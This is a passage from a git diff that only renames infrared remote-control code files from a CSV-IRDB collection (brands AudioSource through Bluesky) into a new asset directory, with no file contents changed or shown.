from assets/resources/infrared/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir 